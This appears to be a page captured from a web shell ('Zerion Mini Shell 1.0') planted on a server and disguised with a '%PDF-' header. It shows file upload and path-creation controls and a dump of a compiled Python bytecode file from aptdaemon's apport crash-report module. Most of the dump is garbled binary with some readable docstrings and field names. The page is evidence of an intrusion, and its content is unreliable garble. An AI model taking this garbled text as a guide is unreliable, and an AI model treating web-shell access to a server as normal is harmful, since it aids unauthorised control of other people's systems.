%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/aptdaemon/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/aptdaemon/__pycache__/crash.cpython-312.pyc

�

��kd�
���dZdZdZddlZddlZddlZddlZddlmZdd�Z	e
dk(rej�e	d	d
�yy)z5Apport integration to provide better problem reports.z%Sebastian Heinlein <devel@glatzor.de>�
create_report�N�)�enumsc�V�tjj�rtj�dk7ryd}tj
d�}||d<d}	tjj
|�}|�d	��|d
<d|d<||d<d
|d<|j�|�rtj|j�|d<|j|d<t|jD�cgc]
}t|���c}�|d<t|j D�cgc]
}t|���c}�|d<t|j"�|d<|j$|d<|j&|d<|j(d|d<|j(d|d<tj*j-|j.�}tj0j3||�5}	|j5|	�ddd�y#t$r}d|jvrd}Yd}~���d}~wwxYwcc}wcc}w#1swYyxYw)z�Create an apport problem report for a given crash.

    :param error: The summary of the error.
    :param traceback: The traceback of the exception.
    :param trans: The optional transaction in which the crash occured.
    �/Nr�Crash�Title�	aptdaemonzdoes not exist�unknown� �Package�
SourcePackage�	Tracebackz/usr/sbin/aptd�ExecutablePath�
Annotation�TransactionRole�TransactionPackages�TransactionDepends�TransactionKwargs�TransactionLocale�TransactionOutput�TransactionErrorCoder�TransactionErrorDetails)�apport�	packaging�enabled�os�getcwd�Report�get_version�
ValueError�message�add_os_infor�get_role_error_from_enum�role�str�packages�list�depends�kwargs�locale�output�_error_property�path�basename�tid�	fileutils�make_report_file�write)
�error�	traceback�trans�uid�report�package�package_version�e�l�fs
          �1/usr/lib/python3/dist-packages/aptdaemon/crash.pyrr!s������#�#�%������);��
�C�
�]�]�7�
#�F��F�7�O��G�(� �*�*�6�6�w�?��$+�O�<�F�9��)�F�?��#�F�;��/�F���
����
�$�=�=�e�j�j�I��|��$)�J�J�� �!�(+�e�n�n�,M��T�!�W�,M�(N��$�%�'*�U�]�]�+K��D��G�+K�'L��#�$�&)�%�,�,�&7��"�#�&+�l�l��"�#�&+�l�l��"�#�).�)>�)>�q�)A��%�&�,1�,A�,A�!�,D��(�)��g�g���u�y�y�)��
�	�	�	*�	*�6�3�	7��1����Q�����/�(��q�y�y�(�'�O���(��-N��+K���s0�G.�%H�H�H�.	H�7H
�
H�H(�__main__�test�	testtrace)N)�__doc__�
__author__�__all__rr�apport.fileutils�apt_pkg�rr�__name__�init_config��r>�<module>rLsP��;�&5�
���	�
����(�T�z���G�����&�+�&�rK

Zerion Mini Shell 1.0